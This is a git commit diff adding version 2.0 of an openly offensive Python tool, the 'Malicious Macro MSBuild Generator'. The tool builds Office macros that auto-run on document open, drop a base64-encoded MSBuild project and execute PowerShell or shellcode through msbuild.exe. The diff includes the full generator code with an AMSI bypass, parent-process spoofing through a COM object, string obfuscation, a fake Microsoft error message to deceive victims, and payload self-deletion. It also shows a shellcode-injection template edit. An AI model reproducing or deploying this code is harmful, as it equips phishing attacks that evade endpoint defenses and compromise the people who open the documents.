Update MaliciousMacroMSBuild v2.0

master
root 2019-05-04 19:20:10 -04:00
parent 081f89e57f
commit 82c6219940
3 changed files with 279 additions and 4 deletions

View File

@ -1,4 +1,4 @@
# Malicious Macro MSBuild Generator # Malicious Macro MSBuild Generator 2.0
## Description ## Description
Generates Malicious Macro and Execute Powershell or Shellcode via MSBuild Application Whitelisting Bypass. Generates Malicious Macro and Execute Powershell or Shellcode via MSBuild Application Whitelisting Bypass.
@ -11,12 +11,27 @@ Adversaries can use MSBuild to proxy execution of code through a trusted Windows
MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application whitelisting defenses that are configured to allow MSBuild.exe execution. MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application whitelisting defenses that are configured to allow MSBuild.exe execution.
## Changelog
* Added Option Macro AMSI Bypass (Thanks to outflank team)
* Added PPID Spoofing {9BA05972-F6A8-11CF-A442-00A0C90A8F39}
* Added functionality auto removed csproj payload after execution
* Added custom msbuild option
## Usage ## Usage
``` ```
usage: M3G.py [-h] -i INPUTFILE -p PAYLOAD -o OUTPUT /$$ /$$ /$$$$$$ /$$$$$$
| $$$ /$$$ /$$__ $$ /$$__ $$
| $$$$ /$$$$|__/ \ $$| $$ \__/
| $$ $$/$$ $$ /$$$$$/| $$ /$$$$
| $$ $$$| $$ |___ $$| $$|_ $$
| $$\ $ | $$ /$$ \ $$| $$ \ $$
| $$ \/ | $$| $$$$$$/| $$$$$$/
|__/ |__/ \______/ \______/
M3G - Malicious Macro MSBuild Generator v1.0 Malicious Macro MSBuild Generator v2.0
Author : Rahmat Nurfauzi (@infosecn1nja) Author : Rahmat Nurfauzi (@infosecn1nja)
usage: m3-gen.py [-h] -i INPUTFILE -p PAYLOAD -o OUTPUT [-a]
optional arguments: optional arguments:
-h, --help show this help message and exit -h, --help show this help message and exit
@ -26,6 +41,7 @@ optional arguments:
Choose a payload for powershell or raw shellcode Choose a payload for powershell or raw shellcode
-o OUTPUT, --output OUTPUT -o OUTPUT, --output OUTPUT
Output filename for the macro Output filename for the macro
-a, --amsi_bypass Macro AMSI Bypass Execute via ms office trusted location
``` ```
## Example ## Example

259
m3-gen.py Executable file
View File

@ -0,0 +1,259 @@
#!/usr/bin/python
# -*- coding: utf-8 -*-
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 2 of the License, or
# (at your option) any later version.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
import os, re, sys, base64
import random, string, argparse
def chunks(l, n):
for i in xrange(0, len(l), n):
yield l[i:i+n]
def gen_str():
return ''.join(random.choice(string.letters) for i in range(random.randint(12,20)))
def minimize(output):
output = re.sub(r'\s*\<\!\-\- .* \-\-\>\s*\n', '', output)
output = output.replace('\n', '')
output = re.sub(r'\s{2,}', ' ', output)
output = re.sub(r'\s+([^\w])\s+', r'\1', output)
output = re.sub(r'([^\w"])\s+', r'\1', output)
variables = {
'payload' : 'x',
'method' : 'm',
'asm' : 'a',
'instance' : 'o',
'pipeline' : 'p',
'runspace' : 'r',
'decoded' : 'd'
}
for k, v in variables.items():
output = output.replace(k, v)
return output
def generate_shellcode(filename):
shellcode = ''
if not os.path.exists(filename):
print '[!] File Not Found'
sys.exit(0)
with open(filename) as f:
shellcode = bytes(bytearray(f.read()))
f.close()
targetName = gen_str()
template = open('templates/MSBuild_shellcode.csproj','r').read()
msbuild = template.replace('[SHELLCODE]',base64.b64encode(shellcode)).replace('[TARGETNAME]',targetName)
return msbuild
def generate_powershell(filename):
powershell = ''
if not os.path.exists(filename):
print '[!] File Not Found'
sys.exit(0)
with open(filename, 'rb') as f:
inp = f.read()
powershell += inp
ps = base64.b64encode(powershell)
targetName = gen_str()
template = open('templates/MSBuild_powershell.csproj','r').read()
msbuild = template.replace('[POWERSHELL]',ps).replace('[TARGETNAME]',targetName)
return msbuild
def generate_custom(filename):
content = ''
if not os.path.exists(filename):
print '[!] File Not Found'
sys.exit(0)
with open(filename, 'rb') as f:
inp = f.read()
content += inp
return content
def generate_macro(msbuild_template, amsi_bypass=False):
Method = gen_str()
Method2 = gen_str()
Str = gen_str()
Str2 = gen_str()
msbuild_encoded = base64.b64encode(minimize(msbuild_template))
chunk = list(chunks(msbuild_encoded,200))
macro_str = ''
if amsi_bypass == True:
macro_str += 'Function ' + Method2 + '()\n'
# https://github.com/outflanknl/Scripts/raw/master/AMSIbypasses.vba
macro_str += ' curfile = ActiveDocument.Path & "\" & ActiveDocument.Name\n'
macro_str += ' templatefile = Environ("appdata") & "\Microsoft\Templates\" & DateDiff("s", #1/1/1970#, Now()) & ".dotm"\n'
macro_str += ' ActiveDocument.SaveAs2 FileName:=templatefile, FileFormat:=wdFormatXMLTemplateMacroEnabled, AddToRecentFiles:=True\n'
macro_str += ' ActiveDocument.SaveAs2 FileName:=curfile, FileFormat:=wdFormatXMLDocumentMacroEnabled\n'
macro_str += ' Documents.Add Template:=templatefile, NewTemplate:=False, DocumentType:=0\n'
macro_str += 'End Function\n\n'
macro_str += "Sub AutoNew()\n"
macro_str += ' ' + Method
macro_str += '\nEnd Sub\n\n'
macro_str += 'Function Base64Decode(ByVal vCode)\n'
macro_str += ' Dim oXML, oNode\n'
macro_str += ' Set oXML = CreateObject("Msxml2.DOMDocument.3.0")\n'
macro_str += ' Set oNode = oXML.CreateElement("base64")\n'
macro_str += ' oNode.dataType = "bin.base64"\n'
macro_str += ' oNode.Text = vCode\n'
macro_str += ' Base64Decode = Stream_BinaryToString(oNode.nodeTypedValue)\n'
macro_str += ' Set oNode = Nothing\n'
macro_str += ' Set oXML = Nothing\n'
macro_str += 'End Function\n'
macro_str += '\nPrivate Function Stream_BinaryToString(Binary)\n'
macro_str += ' Const adTypeText = 2\n'
macro_str += ' Const adTypeBinary = 1\n'
macro_str += ' Dim BinaryStream\n'
macro_str += ' Set BinaryStream = CreateObject("ADODB.Stream")\n'
macro_str += ' BinaryStream.Type = adTypeBinary\n'
macro_str += ' BinaryStream.Open\n'
macro_str += ' BinaryStream.Write Binary\n'
macro_str += ' BinaryStream.Position = 0\n'
macro_str += ' BinaryStream.Type = adTypeText\n'
macro_str += ' BinaryStream.Charset = "us-ascii"\n'
macro_str += ' Stream_BinaryToString = BinaryStream.ReadText\n'
macro_str += ' Set BinaryStream = Nothing\n'
macro_str += 'End Function\n\n'
macro_str += 'Function ' + Method + '()\n'
payload = Str+" = \"" + str(chunk[0]) + "\"\n"
for chk in chunk[1:]:
payload += " "+Str+" = "+Str+" + \"" + str(chk) + "\"\n"
macro_str += ' ' + payload
macro_str += '\n Open Environ("PUBLIC") & "\Downloads" & "\{}.csproj" For Output As #1\n'.format(Str2)
macro_str += ' Print #1, Base64Decode(' + Str + ')\n'
macro_str += ' Close #1\n\n'
# https://gist.github.com/infosecn1nja/24a733c5b3f0e5a8b6f0ca2cf75967e3
macro_str += ' Set SW = GetObject("n" & "e" & "w" & ":" & Replace("{9BA0###597###2-F6A###8-11CF###-A44###2-00A###0C9###0A8###F3###9}","###","")).Item()\n'
macro_str += ' SW.Document.Application.ShellExecute Replace("m###s###b###u###i###l###d###.e###x###e","###",""), Environ("PUBLIC") & "\Downloads" & "\{}.csproj", WhereIs(), Null, 0\n\n'.format(Str2)
macro_str += ' MsgBox "This application appears to be made on an older version of the Microsoft Office product suite. Visit https://microsoft.com for more information. [ErrorCode: 4439]", vbExclamation, "Microsoft Office Corrupt Application (Compatibility Mode)"\n\n'
macro_str += ' WaitUntil = Now() + TimeValue("00:00:15")\n'
macro_str += ' Do While Now < WaitUntil\n'
macro_str += ' Loop\n'
macro_str += ' kill Environ("PUBLIC") & "\Downloads" & "\{}.csproj"\n'.format(Str2)
macro_str += 'End Function\n\n'
if amsi_bypass == True:
Method = Method2
macro_str += 'Sub AutoOpen()\n'
macro_str += ' ' + Method
macro_str += '\nEnd Sub\n\n'
macro_str += 'Sub Workbook_Open()\n'
macro_str += ' ' + Method
macro_str += '\nEnd Sub\n\n'
macro_str += 'Function FileExists(ByVal FileToTest As String) As Boolean\n'
macro_str += ' FileExists = (Dir(FileToTest) <> "")\n'
macro_str += 'End Function\n\n'
macro_str += 'Function WhereIs() As String\n'
macro_str += ' Dim business As String\n'
macro_str += ' Dim needful As String\n'
macro_str += ' Dim location_pw As String\n\n'
macro_str += ' business = Replace("C:\Win###do###ws\###Micr###osof###t.NET\Fr###amewo###rk\\", "###", "")\n'
macro_str += ' needful = Replace("\ms###bu###ild.###exe", "###", "")\n\n'
macro_str += ' If FileExists(business & "v4.0.30319\\" & needful) Then\n'
macro_str += ' location_pw = business & "v4.0.30319\\"\n'
macro_str += ' ElseIf FileExists(business & "v3.5\\" & needful) Then\n'
macro_str += ' location_pw = business & "v3.5\\"\n'
macro_str += ' End If\n'
macro_str += ' WhereIs = location_pw\n'
macro_str += 'End Function'
return macro_str
def output_file(filename,data):
output = open(filename,"w")
output.write(data)
output.close()
def banner():
return """
/$$ /$$ /$$$$$$ /$$$$$$
| $$$ /$$$ /$$__ $$ /$$__ $$
| $$$$ /$$$$|__/ \ $$| $$ \__/
| $$ $$/$$ $$ /$$$$$/| $$ /$$$$
| $$ $$$| $$ |___ $$| $$|_ $$
| $$\ $ | $$ /$$ \ $$| $$ \ $$
| $$ \/ | $$| $$$$$$/| $$$$$$/
|__/ |__/ \______/ \______/
Malicious Macro MSBuild Generator v2.0
Author : Rahmat Nurfauzi (@infosecn1nja)
"""
if __name__ == "__main__":
print banner()
parser = argparse.ArgumentParser(formatter_class=argparse.RawTextHelpFormatter)
parser.add_argument('-i','--inputfile', help='Input file you want to embed into the macro', required=True)
parser.add_argument('-p','--payload', help='Choose a payload for powershell, raw shellcode or custom', required=True)
parser.add_argument('-o','--output', help='Output filename for the macro', required=True)
parser.add_argument('-a','--amsi_bypass', help='Macro AMSI Bypass Execute via ms office trusted location', action='store_true')
args = parser.parse_args()
inputfile = args.inputfile
payload = args.payload
output = args.output
amsi_bypass = args.amsi_bypass
msbuild_payload = ''
if payload.lower() == 'shellcode':
msbuild_payload = generate_shellcode(inputfile)
elif payload.lower() == 'powershell':
msbuild_payload = generate_powershell(inputfile)
elif payload.lower() == 'custom':
msbuild_payload = generate_custom(inputfile)
else:
print '[!] Invalid type payload'
sys.exit(0)
if msbuild_payload != '':
print "[*] Writing msbuild {} payload.".format(payload)
macro = generate_macro(msbuild_payload, amsi_bypass)
output_file(output,macro)
print "[*] {} macro sucessfully saved to disk.".format(output)

View File

@ -39,7 +39,7 @@
byte[] shellcode = System.Convert.FromBase64String(strShellCode); byte[] shellcode = System.Convert.FromBase64String(strShellCode);
string processpath = @"C:\Windows\System32\wsmprovhost.exe"; string processpath = @"C:\Windows\System32\searchprotocolhost.exe";
STARTUPINFO si = new STARTUPINFO(); STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
bool success = CreateProcess(processpath, null, bool success = CreateProcess(processpath, null,